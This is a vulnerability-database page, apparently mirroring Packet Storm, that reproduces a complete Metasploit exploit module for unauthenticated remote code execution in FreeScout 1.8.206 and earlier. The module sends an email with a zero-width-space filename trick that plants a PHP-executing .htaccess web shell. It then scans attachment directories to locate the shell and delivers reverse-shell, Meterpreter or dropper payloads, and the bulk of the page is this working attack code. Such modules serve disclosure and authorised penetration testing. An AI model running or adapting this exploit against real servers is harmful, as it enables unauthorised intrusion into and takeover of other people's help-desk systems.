Lucene search
K

📄 FreeScout 1.8.206 Remote Code Execution

🗓️ 31 Mar 2026 00:00:00Reported by Moses Bhardwaj, Valentin Lobstein, offensiveee, Nir ZadokType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 116 Views

Unauthenticated remote code execution in FreeScout <=1.8.206 via crafted email enabling .htaccess PHP execution.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-27636
25 Feb 202603:41
attackerkb
ATTACKERKB
CVE-2026-27637
25 Feb 202603:41
attackerkb
ATTACKERKB
CVE-2026-28289
3 Mar 202622:59
attackerkb
Circl
CVE-2026-27636
25 Feb 202604:23
circl
Circl
CVE-2026-28289
4 Mar 202600:48
circl
CNNVD
FreeScout 安全漏洞
25 Feb 202600:00
cnnvd
CNNVD
FreeScout 代码问题漏洞
3 Mar 202600:00
cnnvd
CVE
CVE-2026-27636
25 Feb 202603:41
cve
CVE
CVE-2026-28289
3 Mar 202622:59
cve
Cvelist
CVE-2026-27636 FreeScout: Missing .htaccess in Restricted File Extensions Allows Remote Code Execution on Apache
25 Feb 202603:41
cvelist
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Payload::Php
      include Msf::Exploit::CmdStager
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::SMTPDeliver
      prepend Msf::Exploit::Remote::AutoCheck
    
      ZWSP = "\u200B".encode('UTF-8').freeze
    
      HTACCESS_BODY = <<~HTACCESS.freeze
        <Files ".htaccess">
          Require all granted
          SetHandler application/x-httpd-php
        </Files>
      HTACCESS
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'FreeScout Unauthenticated RCE via ZWSP .htaccess Bypass',
            'Description' => %q{
              This module exploits an unauthenticated remote code execution vulnerability
              in FreeScout <= 1.8.206 (CVE-2026-28289). The sanitizeUploadedFileName()
              function checks for dot-prefixed filenames before stripping Unicode format
              characters (ZWSP U+200B), allowing .htaccess upload via email attachment.
    
              A crafted email is sent via SMTP to a FreeScout mailbox. When fetched by
              the IMAP/POP3 cron (typically every 60s), the ZWSP is stripped and the
              attachment is stored as .htaccess. The file uses SetHandler to make itself
              executable as PHP, achieving code execution when requested via HTTP.
    
              Requires a valid mailbox email address and web-accessible attachment
              storage (storage:link pointing to storage/app/).
            },
            'Author' => [
              'offensiveee',                                    # CVE-2026-27636 discovery
              'Nir Zadok (nirzadokox) <OX Security>',           # CVE-2026-28289 discovery
              'Moses Bhardwaj (MosesOX) <OX Security>',         # CVE-2026-28289 discovery
              'Valentin Lobstein <chocapikk[at]leakix.net>'     # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-28289'],
              ['CVE', '2026-27636'],
              ['GHSA', '5gpc-65p8-ffwp', 'freescout-help-desk/freescout'],
              ['GHSA', 'mw88-x7j3-74vc', 'freescout-help-desk/freescout'],
              ['URL', 'https://www.ox.security/blog/freescout-rce-cve-2026-28289/'],
              ['URL', 'https://www.ox.security/blog/freescout-rce-cve-2026-27636/']
            ],
            'Targets' => [
              [
                'PHP In-Memory', {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP,
                  'Type' => :php
                  # tested with php/meterpreter/reverse_tcp
                }
              ],
              [
                'Unix/Linux Command Shell', {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD,
                  'Type' => :cmd
                  # tested with cmd/unix/reverse_bash
                }
              ],
              [
                'Linux Dropper', {
                  'Platform' => 'linux',
                  'Arch' => [ARCH_X86, ARCH_X64],
                  'Type' => :dropper
                  # tested with linux/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command Shell', {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD,
                  'Type' => :cmd
                  # tested with cmd/windows/reverse_powershell
                }
              ],
              [
                'Windows Dropper', {
                  'Platform' => 'win',
                  'Arch' => [ARCH_X86, ARCH_X64],
                  'Type' => :dropper
                  # tested with windows/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => false,
            'DisclosureDate' => '2026-03-01',
            'Notes' => {
              'AKA' => ['Mail2Shell'],
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path to FreeScout', '/']),
          OptAddress.new('HTTPHOST', [true, 'FreeScout web server address']),
          OptPort.new('HTTPPORT', [true, 'FreeScout web server port', 80])
        ])
    
        # Override SMTPDeliver's SUBJECT with a default (random if blank)
        deregister_options('SUBJECT')
        register_advanced_options([
          OptString.new('SUBJECT', [false, 'Email subject (random if blank)', '']),
          OptInt.new('FETCH_WAIT', [true, 'Seconds to wait for cron fetch cycle', 60]),
          OptInt.new('DIR_COUNTER', [true, 'Max attachment counter per directory', 3])
        ])
      end
    
      def check
        res = http_send('uri' => normalize_uri(target_uri.path, 'login'))
        return CheckCode::Unknown('Could not connect to the target.') unless res
        return CheckCode::Safe('Target does not appear to be FreeScout.') unless res.body.to_s.match?(/[Ff]ree[Ss]cout/)
    
        CheckCode::Detected('FreeScout detected. Version cannot be determined remotely.')
      end
    
      def exploit
        marker = Rex::Text.rand_text_alphanumeric(16)
        @param = Rex::Text.rand_text_alpha(4)
        @cleanup_param = Rex::Text.rand_text_alpha(4)
        print_status("Sending exploit email to #{datastore['MAILTO']} via #{rhost}:#{rport}")
        send_message(build_email(marker))
        print_good('Exploit email sent')
    
        wait_for_cron
        @shell_uri = find_shell(marker)
        fail_with(Failure::NotFound, 'Shell not found after two cron cycles.') unless @shell_uri
    
        print_good("Shell at #{@shell_uri}")
    
        case target['Type']
        when :php then http_send('method' => 'POST', 'uri' => @shell_uri, 'timeout' => 1)
        when :cmd then execute_command(payload.encoded)
        when :dropper then execute_cmdstager(background: true)
        end
      end
    
      def cleanup
        super
    
        return unless @shell_uri
    
        http_send(
          'method' => 'POST',
          'uri' => @shell_uri,
          'vars_post' => { @cleanup_param => '1' },
          'timeout' => 5
        )
      end
    
      # The marker is embedded in the .htaccess so we can identify ours among
      # pre-existing ones from prior exploits and avoid triggering the wrong shell.
      def build_email(marker)
        gate = "if($_SERVER['REQUEST_METHOD']!=='POST'){die();}if(isset($_POST['#{@cleanup_param}'])){@unlink(__FILE__);die();}"
        if target['Type'] == :php
          exec = payload.encoded
        else
          vars = Rex::RandomIdentifier::Generator.new(language: :php)
          preamble = php_preamble(vars_generator: vars).gsub(/\s*\n\s*/, '')
          decode = "#{vars[:cmd_varname]}=base64_decode($_POST[\"#{@param}\"]);"
          sysblock = php_system_block(vars_generator: vars).gsub(/\s*\n\s*/, '')
          exec = preamble + decode + sysblock
        end
        php_code = gate + exec
    
        mime = Rex::MIME::Message.new
        mime.mime_defaults
        mime.header.set('Subject', datastore['SUBJECT'].present? ? datastore['SUBJECT'] : Rex::Text.rand_text_alpha(8..16))
        mime.header.set('From', datastore['MAILFROM'])
        mime.header.set('To', datastore['MAILTO'])
        mime.header.set('Message-ID', "<#{Rex::Text.rand_text_alphanumeric(24)}@#{Rex::Text.rand_text_alpha(8)}>")
        mime.add_part(Rex::Text.rand_text_alpha(20..60), 'text/plain; charset=us-ascii', 'quoted-printable')
        raw = "#{HTACCESS_BODY}# #{marker} <?php #{php_code} ?>\n"
        mime.add_part([raw].pack('m'), 'application/octet-stream', 'base64', "attachment; filename=\"#{ZWSP}.htaccess\"")
        mime.to_s
      end
    
      def wait_for_cron
        fetch = datastore['FETCH_WAIT']
        wait = fetch + 10
        res = http_send('uri' => normalize_uri(target_uri.path))
        if res&.headers&.[]('Date')
          elapsed = Time.parse(res.headers['Date']).to_i % fetch
          wait = (fetch - elapsed) + 10
        end
        print_status("Waiting #{wait}s for next cron fetch cycle...")
        Rex.sleep(wait)
      end
    
      def find_shell(marker)
        uri = scan_paths(marker)
        return uri if uri
    
        retry_wait = datastore['FETCH_WAIT'] + 5
        print_status("Not found yet, waiting one more cron cycle (#{retry_wait}s)...")
        Rex.sleep(retry_wait)
        scan_paths(marker)
      end
    
      # FreeScout stores attachments in /storage/attachment/<d1>/<d2>/<counter>/ where
      # d1 and d2 are single digits (0-9) extracted from the MD5 hash of the attachment ID.
      # We walk the tree using redirect responses to detect existing directories, then
      # check each .htaccess for our marker to find the one we uploaded.
      def scan_paths(marker)
        base = normalize_uri(target_uri.path, 'storage', 'attachment')
        digits = ('0'..'9')
        dirs = digits.select { |d| dir_exists?(base, d) }
        pairs = dirs.flat_map { |d1| digits.select { |d2| dir_exists?("#{base}/#{d1}", d2) }.map { |d2| [d1, d2] } }
        paths = pairs.flat_map { |d1, d2| (1..datastore['DIR_COUNTER']).map { |c| normalize_uri(base, d1, d2, c.to_s, '.htaccess') } }
    
        paths.each do |uri|
          res = http_send('uri' => uri)
          return uri if res&.code == 200 && res.body.to_s.include?(marker)
        end
        nil
      end
    
      def dir_exists?(parent, child)
        res = http_send('uri' => "#{parent}/#{child}")
        res&.redirect?
      end
    
      def execute_command(cmd, _opts = {})
        http_send(
          'method' => 'POST',
          'uri' => @shell_uri,
          'vars_post' => { @param => Rex::Text.encode_base64(cmd) },
          'timeout' => 1
        )
      end
    
      # Swap RHOST/RPORT to HTTPHOST/HTTPPORT then call HttpClient's connect via
      # bind_call to bypass SMTPDeliver's connect override in the MRO.
      # This preserves full HttpClient features (SSL, proxies, basic auth, vhost).
      # SSL is inherited from HttpClient's datastore option.
      def http_send(params = {})
        saved = [datastore['RHOST'], datastore['RPORT']]
        datastore['RHOST'] = datastore['HTTPHOST']
        datastore['RPORT'] = datastore['HTTPPORT']
        timeout = params.delete('timeout') || -1
        cli = Msf::Exploit::Remote::HttpClient.instance_method(:connect).bind_call(self, params)
        res = cli.send_recv(cli.request_cgi(params), timeout)
        cli.close
        res
      rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED
        nil
      ensure
        datastore['RHOST'], datastore['RPORT'] = saved
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation